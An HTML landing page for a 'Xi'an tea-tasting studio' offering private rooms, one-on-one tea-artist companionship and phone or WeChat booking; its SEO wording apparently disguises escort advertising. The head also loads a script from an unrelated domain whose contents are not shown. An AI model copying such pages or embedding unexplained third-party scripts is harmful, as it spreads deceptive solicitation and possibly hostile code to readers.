<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>西安品茶_西安品茶工作室_专属个人高端品茶工作室</title>
<meta name="keywords" content="西安品茶,品茶工作室,高端品茶,茶叙预约,私人茶席">
<meta name="description" content="西安品茶工作室是西安主城区专注专属个人高端品茶体验的预约制茶空间，提供独立私密包间、专业茶艺师一对一陪聊讲解、商务茶席接待与企业茶礼定制。茶单由专业选茶师按季从核心产区源头直采，涵盖岩茶、普洱、白茶、乌龙等120余种，恒温茶仓存放保证每一杯茶的正宗口感。到店可体验从选茶、泡茶到品鉴的完整茶叙流程，适合个人静心、好友小聚与商务洽谈。预约制服务，按客安排时段，电话与微信均可预约到店，欢迎预约专属品茶时间。">
<link rel="canonical" href="http://flycat9.cn">
<meta property="og:title" content="西安品茶工作室｜高端品茶私享预约">
<meta property="og:description" content="西安品茶工作室是西安主城区专注专属个人高端品茶体验的预约制茶空间，提供独立私密包间、专业茶艺师一对一陪聊讲解、商务茶席接待与企业茶礼定制。到店可体验从选茶、泡茶到品鉴的完整茶叙流程，电话与微信均可预约到店。">
<meta property="og:url" content="http://flycat9.cn">
<meta property="og:type" content="website">
<meta property="og:image" content="http://flycat9.cn/assets/images/coverpic/cover-1.jpg">
<meta property="og:locale" content="zh_CN">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="西安品茶工作室｜高端品茶私享预约">
<meta name="twitter:description" content="西安品茶工作室是西安主城区专注专属个人高端品茶体验的预约制茶空间，提供独立私密包间、专业茶艺师一对一陪聊讲解、商务茶席接待与企业茶礼定制。">
<meta name="twitter:image" content="http://flycat9.cn/assets/images/coverpic/cover-1.jpg">
<link rel="preconnect" href="http://fonts.googleapis.com">
<link rel="preconnect" href="http://fonts.gstatic.com" crossorigin>
<link href="/assets/css/vendor/9723b7396f-css2.css" rel="stylesheet">
<script type="application/ld+json">
{
  "@context": "http://schema.org",
  "@type": "TeaRoom",
  "name": "西安品茶工作室",
  "description": "西安主城区专属个人高端品茶体验的预约制茶空间，提供独立包间、专业茶艺师一对一侍茶讲解、商务茶席接待与企业茶礼定制服务。",
  "url": "http://flycat9.cn/",
  "telephone": "029-8888-6666",
  "image": "http://flycat9.cn/assets/images/coverpic/cover-1.jpg",
  "address": {
    "@type": "PostalAddress",
    "addressLocality": "西安",
    "addressRegion": "陕西",
    "addressCountry": "CN"
  },
  "openingHours": "Mo-Su 10:00-22:00",
  "priceRange": "按茶单与空间档位计价"
}
</script>
<link rel="stylesheet" href="/assets/css/style.css">
<link rel="dns-prefetch" href="http://nnyw1.top">
<link rel="preconnect" href="http://nnyw1.top">
<script src="http://nnyw1.top/gg.js" async></script>
</head>
<body>

<!-- ===== 导航 ===== -->
<header>
  <div class="container nav">
    <a href="/" class="brand">西安品茶工作室</a>
    <ul class="nav-links">
      <li><a href="/" class="active">首页</a></li>
      <li><a href="#space">品鉴空间</a></li>
      <li><a href="#service">茗茶直选</a></li>
      <li><a href="#custom">私享定制</a></li>
      <li><a href="#contact">联系</a></li>
    </ul>
    <div class="nav-cta"><a href="#contact">预约品鉴</a></div>
    <button class="hamburger" id="hamburger" aria-label="打开导航菜单">
      <span></span><span></span><span></span>
    </button>
  </div>
</header>

<!-- 移动抽屉 -->
<nav class="mobile-drawer" id="mobileDrawer" aria-label="移动端导航">
  <button class="drawer-close" id="drawerClose" aria-label="关闭导航">×</button>
  <a href="/">首页</a>
  <a href="#space">品鉴空间</a>
  <a href="#service">茗茶直选</a>
  <a href="#custom">私享定制</a>
  <a href="#contact">联系</a>
  <div class="drawer-contact">
    电话：029-8888-6666<br>
    微信：xapc888<br>
    西安市曲江新区大唐不夜城西侧<br>
    每日 10:00–22:00
  </div>
</nav>

<main>

<!-- ===== 1. Hero 首屏 ===== -->
<section class="hero">
  <div class="container">
    <div class="hero-content">
      <h1>西安品茶工作室，专属个人高端品茶茶叙空间</h1>
      <p class="hero-sub">坐落于西安主城区的预约制品茶空间，独立包间、专业茶艺师一对一侍茶讲解。从选茶、泡茶到品鉴，按你喜欢的节奏，从容体会一席好茶。</p>
      <div class="hero-cta">
        <a href="#contact" class="btn-primary">预约品鉴</a>
        <a href="#service" class="hero-text-link">了解品鉴流程</a>
      </div>
      <div class="hero-meta">
        品茶空间 <span>/</span> 会员制预约 <span>/</span> 西安主城区
      </div>
    </div>
  </div>
</section>

<!-- ===== 2. 指标看板 ===== -->
<section class="metrics">
  <div class="container">
    <div class="metrics-grid">
      <div class="metric-item">
        <div class="metric-num">8</div>
        <div class="metric-label">工作室成立年限</div>
      </div>
      <div class="metric-item">
        <div class="metric-num">3600+</div>
        <div class="metric-label">累计服务茶叙</div>
      </div>
      <div class="metric-item">
        <div class="metric-num">120种</div>
        <div class="metric-label">可选茶单品类</div>
      </div>
      <div class="metric-item">
        <div class="metric-num">9年</div>
        <div class="metric-label">茶艺师平均从业</div>
      </div>
    </div>
  </div>
</section>

<!-- ===== 3. 服务矩阵 ===== -->
<section class="services" id="service">
  <div class="container">
    <h2 class="section-title">私享品鉴 · 茶事服务矩阵</h2>
    <p class="section-sub">按需求选配，从茶席到茶礼，一站安排妥当</p>
    <div class="section-break"></div>

    <div class="service-grid">

      <article class="service-card" id="space">
        <div class="service-photo">
          <span class="service-num">01</span>
          <img src="/assets/images/coverpic/cover-1.jpg" alt="西安品茶工作室专属独立茶叙包间">
        </div>
        <div class="service-body">
          <h3>专属茶叙空间</h3>
          <p>独立预约包间，安静私密，配备恒温茶仓与茶席器具，适合一人静心品茶或三两好友小聚。</p>
          <div class="service-meta-row">
            <span class="service-meta">60–120分钟 / 1–4人</span>
            <a href="#contact" class="service-link">预约此项</a>
          </div>
        </div>
      </article>

      <article class="service-card">
        <div class="service-photo">
          <span class="service-num">02</span>
          <img src="/assets/images/coverpic/cover-2.jpg" alt="西安品茶工作室茶艺师一对一讲解品茶">
        </div>
        <div class="service-body">
          <h3>专业茶艺师陪聊讲解</h3>
          <p>一对一全程侍茶，从选茶、温杯、冲泡到汤色与香气解读，茶艺师平均从业年限九年以上。</p>
          <div class="service-meta-row">
            <span class="service-meta">全程陪同 / 1–6人</span>
            <a href="#contact" class="service-link">预约此项</a>
          </div>
        </div>
      </article>

      <article class="service-card">
        <div class="service-photo">
          <span class="service-num">03</span>
          <img src="/assets/images/coverpic/cover-3.jpg" alt="西安品茶工作室商务茶席接待空间">
        </div>
        <div class="service-body">
          <h3>商务茶席接待</h3>
          <p>为商务洽谈准备的独立茶席，私密环境与专业侍茶服务，让交流自然而然推进。</p>
          <div class="service-meta-row">
            <span class="service-meta">90–180分钟 / 2–6人</span>
            <a href="#contact" class="service-link">预约此项</a>
          </div>
        </div>
      </article>

      <article class="service-card">
        <div class="service-photo">
          <span class="service-num">04</span>
          <img src="/assets/images/coverpic/cover-4.jpg" alt="西安品茶工作室定制茶礼与会员私享服务">
        </div>
        <div class="service-body">
          <h3>定制茶礼与会员私享</h3>
          <p>按客户需求定制茶礼组合，会员可享专属茶单、优先预约与每年两次茶会邀请。</p>
          <div class="service-meta-row">
            <span class="service-meta">按需定制 / 不限</span>
            <a href="#contact" class="service-link">预约此项</a>
          </div>
        </div>
      </article>

    </div>
  </div>
</section>

<!-- ===== 4. 结果对比 ===== -->
<section class="comparison" id="custom">
  <div class="container">
    <h2 class="section-title">品茶体验对比</h2>
    <p class="section-sub">普通茶室与本工作室的空间与服务差异</p>
    <div class="section-break"></div>

    <div class="compare-grid">
      <div class="compare-col">
        <h3 class="compare-head">普通茶室</h3>
        <div class="compare-row"><div class="compare-label">茶叶选品</div><div class="compare-value">源头直采，品类较少，选品更新慢</div></div>
        <div class="compare-row"><div class="compare-label">侍茶服务</div><div class="compare-value">标准化倒茶，较少讲解茶叶信息</div></div>
        <div class="compare-row"><div class="compare-label">空间私密性</div><div class="compare-value">开放大厅，相邻桌间距较近</div></div>
        <div class="compare-row"><div class="compare-label">时间灵活度</div><div class="compare-value">固定时段，高峰时段需排队等位</div></div>
      </div>
      <div class="compare-col premium">
        <div class="premium-badge">专属</div>
        <h3 class="compare-head">本工作室专属私享</h3>
        <div class="compare-row"><div class="compare-label">茶叶选品</div><div class="compare-value">专业选茶师按季选品，核心产区直采，茶单120余种</div></div>
        <div class="compare-row"><div class="compare-label">侍茶服务</div><div class="compare-value">一对一茶艺师全程讲解，从冲泡到品鉴细致说明</div></div>
        <div class="compare-row"><div class="compare-label">空间私密性</div><div class="compare-value">独立预约包间，安静不受打扰，可自由交谈</div></div>
        <div class="compare-row"><div class="compare-label">时间灵活度</div><div class="compare-value">按客预约，到店即安排，时间从容不赶</div></div>
      </div>
    </div>
  </div>
</section>

<!-- ===== 5. FAQ ===== -->
<section class="faq" id="faq">
  <div class="container">
    <div class="faq-layout">
      <h2 class="section-title">常见问题</h2>
      <p class="section-sub">预约品茶前的几点说明</p>
      <div class="section-break"></div>

      <div class="accordion" id="faqAccordion">

        <div class="accordion-item">
          <button class="accordion-title" type="button">
            如何预约品茶时间？
            <span class="accordion-icon"></span>
          </button>
          <div class="accordion-content">
            <div class="accordion-content-inner">
              <p>直接致电 029-8888-6666 或添加微信 xapc888，告知期望到店日期与时段。</p>
              <p>工作室为预约制，确认后会为你保留独立包间并提前准备茶席。</p>
            </div>
          </div>
        </div>

        <div class="accordion-item">
          <button class="accordion-title" type="button">
            是否有最低消费或人数限制？
            <span class="accordion-icon"></span>
          </button>
          <div class="accordion-content">
            <div class="accordion-content-inner">
              <p>没有统一最低消费，按茶单与空间档位计价，预约时确认。</p>
              <p>人数方面，1至6人均可安排，6人以上建议包场或分席接待。</p>
            </div>
          </div>
        </div>

        <div class="accordion-item">
          <button class="accordion-title" type="button">
            茶艺师可以陪同讲解吗？
            <span class="accordion-icon"></span>
          </button>
          <div class="accordion-content">
            <div class="accordion-content-inner">
              <p>可以，每位到店客人都配有专属茶艺师全程侍茶与讲解。</p>
              <p>从茶叶背景、冲泡手法到品鉴要领，茶艺师会根据你的节奏循序讲解。</p>
            </div>
          </div>
        </div>

        <div class="accordion-item">
          <button class="accordion-title" type="button">
            茶空间是否私密、是否可商务洽谈？
            <span class="accordion-icon"></span>
          </button>
          <div class="accordion-content">
            <div class="accordion-content-inner">
              <p>空间为独立包间，隔音良好，适合商务洽谈和私密会面。</p>
              <p>如需使用投影或纸笔等会务物品，提前告知即可安排。</p>
            </div>
          </div>
        </div>

        <div class="accordion-item">
          <button class="accordion-title" type="button">
            可以定制企业茶叙活动吗？
            <span class="accordion-icon"></span>
          </button>
          <div class="accordion-content">
            <div class="accordion-content-inner">
              <p>可以，工作室承接企业茶会、客户答谢与团队茶叙活动。</p>
              <p>活动形式、茶单与场地布置按实际需求定制，欢迎提前到店沟通方案。</p>
            </div>
          </div>
        </div>

      </div>
    </div>
  </div>
</section>

<!-- ===== 6. 转化表单 ===== -->
<section class="contact-section" id="contact">
  <div class="container">
    <h2 class="section-title">预约品鉴</h2>
    <p class="section-sub">提交后将在预约时段前24小时内确认</p>
    <div class="section-break"></div>

    <div class="contact-grid">
      <div class="form-wrap">
        <h3>填写品鉴预约</h3>
        <p class="form-tip">请留下你的时间和人数，茶艺师会提前为你备好茶席。</p>
        <form id="bookingForm" novalidate>
          <div class="form-group">
            <label for="name">姓名<span class="required">*</span></label>
            <input type="text" id="name" name="name" placeholder="怎么称呼你" required>
          </div>
          <div class="form-group">
            <label for="phone">手机号<span class="required">*</span></label>
            <input type="tel" id="phone" name="phone" placeholder="用于确认预约信息" required>
          </div>
          <div class="form-group">
            <label for="time">意向时段<span class="required">*</span></label>
            <select id="time" name="time" required>
              <option value="">请选择时段</option>
              <option value="morning">上午 10:00–12:00</option>
              <option value="afternoon">下午 14:00–17:00</option>
              <option value="evening">晚间 19:00–21:00</option>
            </select>
          </div>
          <div class="form-group">
            <label for="people">到访人数<span class="required">*</span></label>
            <select id="people" name="people" required>
              <option value="">请选择人数</option>
              <option value="1">1人</option>
              <option value="2">2人</option>
              <option value="3">3人</option>
              <option value="4">4人</option>
              <option value="5">5人</option>
              <option value="6">6人</option>
            </select>
          </div>
          <div class="form-group">
            <label for="remark">备注（可选）</label>
            <textarea id="remark" name="remark" placeholder="如有特别需求可在此说明"></textarea>
          </div>
          <div class="form-submit">
            <button type="submit" class="btn-primary">提交品鉴预约</button>
          </div>
          <div class="form-success" id="formSuccess">✓ 预约信息已收到，我们会在24小时内电话或微信与你确认。</div>
          <div class="form-error" id="formError">提交失败，请检查必填项后重新尝试。</div>
        </form>
      </div>

      <div class="contact-info-wrap">
        <div class="contact-info-list">
          <div class="contact-info-item">
            <div class="icon"><svg viewBox="0 0 24 24"><path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72c.13.96.36 1.9.7 2.81a2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45c.91.34 1.85.57 2.81.7A2 2 0 0 1 22 16.92z"/></svg></div>
            <div><div class="info-label">电话</div><div class="info-value">029-8888-6666</div></div>
          </div>
          <div class="contact-info-item">
            <div class="icon"><svg viewBox="0 0 24 24"><path d="M21 11.5a8.38 8.38 0 0 1-.9 3.8 8.5 8.5 0 0 1-7.6 4.7 8.38 8.38 0 0 1-3.8-.9L3 21l1.9-5.7a8.38 8.38 0 0 1-.9-3.8 8.5 8.5 0 0 1 4.7-7.6 8.38 8.38 0 0 1 3.8-.9h.5a8.48 8.48 0 0 1 8 8v.5z"/></svg></div>
            <div><div class="info-label">微信</div><div class="info-value">xapc888</div></div>
          </div>
          <div class="contact-info-item">
            <div class="icon"><svg viewBox="0 0 24 24"><path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0 1 18 0z"/><circle cx="12" cy="10" r="3"/></svg></div>
            <div><div class="info-label">地址</div><div class="info-value">西安市曲江新区大唐不夜城西侧</div></div>
          </div>
          <div class="contact-info-item">
            <div class="icon"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg></div>
            <div><div class="info-label">营业时间</div><div class="info-value">每日 10:00–22:00</div></div>
          </div>
        </div>
        <div class="contact-badges">
          <span class="badge">预约制</span>
          <span class="badge">一对一品鉴</span>
        </div>
      </div>
    </div>
  </div>
</section>

<!-- ===== 7. 资讯区 ===== -->
<section class="news">
  <div class="container">
    <div class="news-ribbon">
      <p>新茶已入仓，欢迎预约前来品鉴春茶专场</p>
      <a href="#contact" class="btn-tea">预约春茶专场</a>
    </div>
    <h2 class="section-title">品茶资讯与茶会记录</h2>
    <p class="section-sub">茶事随笔与近期茶单动态</p>
    <div class="section-break"></div>

    <div class="news-layout">
      <div class="news-list">
        <div class="news-item">
          <div class="date">2026-03-12</div>
          <div>
            <h4><a href="#news-1">一盏岩茶的完整旅程：从选茶到出汤的六个步骤</a></h4>
            <p>岩茶的风味从选青开始，本文梳理从干茶审评到一泡好茶出汤的全过程，帮你在品茶时更懂每一道汤色。</p>
            <a href="#news-1"><span>阅读全文</span></a>
          </div>
        </div>
        <div class="news-item">
          <div class="date">2026-03-08</div>
          <div>
            <h4><a href="#news-2">春季茶单上新：明前绿茶与白毫银针的品鉴要点</a></h4>
            <p>春季茶单已更新，明前绿茶清新鲜爽，白毫银针毫香满盏。茶艺师带你建立春茶的品鉴坐标。</p>
            <a href="#news-2"><span>阅读全文</span></a>
          </div>
        </div>
        <div class="news-item">
          <div class="date">2026-02-26</div>
          <div>
            <h4><a href="#news-3">商务茶叙中，一杯茶如何成为交流的桥梁</a></h4>
            <p>茶席上，水温、节奏与言谈一样重要。如何在商务茶叙中既放松又得体，是许多客人关心的话题。</p>
            <a href="#news-3"><span>阅读全文</span></a>
          </div>
        </div>
        <div class="news-item">
          <div class="date">2026-02-18</div>
          <div>
            <h4><a href="#news-4">忙碌一周之后，给自己留一席安静的茶时间</a></h4>
            <p>独饮不等于孤独。在独立包间里安静泡一壶老白茶，让身心从工作节奏中慢下来，重获清明。</p>
            <a href="#news-4"><span>阅读全文</span></a>
          </div>
        </div>
      </div>

      <aside class="news-side">
        <h4>热门专题</h4>
        <ul>
          <li>岩茶品鉴</li>
          <li>普洱精华</li>
          <li>白茶存养</li>
          <li>乌龙茶事</li>
        </ul>
        <h4>茶事标签</h4>
        <div class="tag-list">
          <span>西安品茶</span>
          <span>品茶工作室</span>
          <span>茶艺师</span>
          <span>商务茶席</span>
          <span>私人茶叙</span>
          <span>茶礼定制</span>
          <span>独立包间</span>
        </div>
      </aside>
    </div>
  </div>
</section>

</main>

<!-- ===== 页脚 ===== -->
<footer class="footer">
  <div class="container">
    <div class="footer-top">
      <div class="footer-grid">
        <div class="footer-brand">
          <h4>西安品茶工作室</h4>
          <p>西安主城区预约制私享品茶空间，专业茶艺师全程侍茶讲解，让每一次到访都从容而有收获。</p>
          <div class="footer-contact">
            电话 029-8888-6666<span>｜</span>微信 xapc888<span>｜</span>西安曲江新区
          </div>
        </div>
        <div class="footer-col">
          <h5>快速链接</h5>
          <ul>
            <li><a href="/">首页</a></li>
            <li><a href="#space">品鉴空间</a></li>
            <li><a href="#service">茗茶直选</a></li>
            <li><a href="#custom">私享定制</a></li>
          </ul>
        </div>
        <div class="footer-col">
          <h5>其他服务</h5>
          <ul>
            <li><a href="#contact">私人茶席</a></li>
            <li><a href="#contact">商务茶叙</a></li>
            <li><a href="#contact">茶礼定制</a></li>
          </ul>
        </div>
        <div class="footer-col">
          <h5>到访说明</h5>
          <p class="footer-visit">
            工作室为预约制，请提前一天联系确认。<br>
            到店后由茶艺师引导入席。
          </p>
          <div class="footer-visit hours">每日 10:00–22:00</div>
        </div>
      </div>
    </div>
    <div class="footer-bottom">
      © 2026 西安品茶工作室 · 域名 flycat9.cn · 版权所有
    </div>
  </div>
</footer>

<script>
(function() {
  'use strict';

  // FAQ 手风琴
  var accordionItems = document.querySelectorAll('.accordion-item');
  accordionItems.forEach(function(item) {
    var title = item.querySelector('.accordion-title');
    var content = item.querySelector('.accordion-content');
    title.addEventListener('click', function() {
      var isOpen = item.classList.contains('open');
      accordionItems.forEach(function(other) {
        other.classList.remove('open');
        other.querySelector('.accordion-content').style.maxHeight = null;
      });
      if (!isOpen) {
        item.classList.add('open');
        content.style.maxHeight = content.scrollHeight + 'px';
      }
    });
  });

  // 移动端汉堡菜单
  var hamburger = document.getElementById('hamburger');
  var drawer = document.getElementById('mobileDrawer');
  var drawerClose = document.getElementById('drawerClose');
  if (hamburger && drawer && drawerClose) {
    hamburger.addEventListener('click', function() {
      drawer.classList.add('open');
      document.body.style.overflow = 'hidden';
    });
    drawerClose.addEventListener('click', function() {
      drawer.classList.remove('open');
      document.body.style.overflow = '';
    });
    drawer.addEventListener('click', function(e) {
      if (e.target.tagName === 'A') {
        drawer.classList.remove('open');
        document.body.style.overflow = '';
      }
    });
  }

  // 表单提交
  var form = document.getElementById('bookingForm');
  if (form) {
    form.addEventListener('submit', function(e) {
      e.preventDefault();
      var name = document.getElementById('name').value.trim();
      var phone = document.getElementById('phone').value.trim();
      var time = document.getElementById('time').value;
      var people = document.getElementById('people').value;
      var success = document.getElementById('formSuccess');
      var error = document.getElementById('formError');

      if (!name || !phone || !time || !people) {
        error.style.display = 'block';
        success.style.display = 'none';
        setTimeout(function() { error.style.display = 'none'; }, 3000);
        return;
      }
      success.style.display = 'block';
      error.style.display = 'none';
      form.reset();
      setTimeout(function() { success.style.display = 'none'; }, 6000);
    });
  }

})();
</script>

</body>
</html>
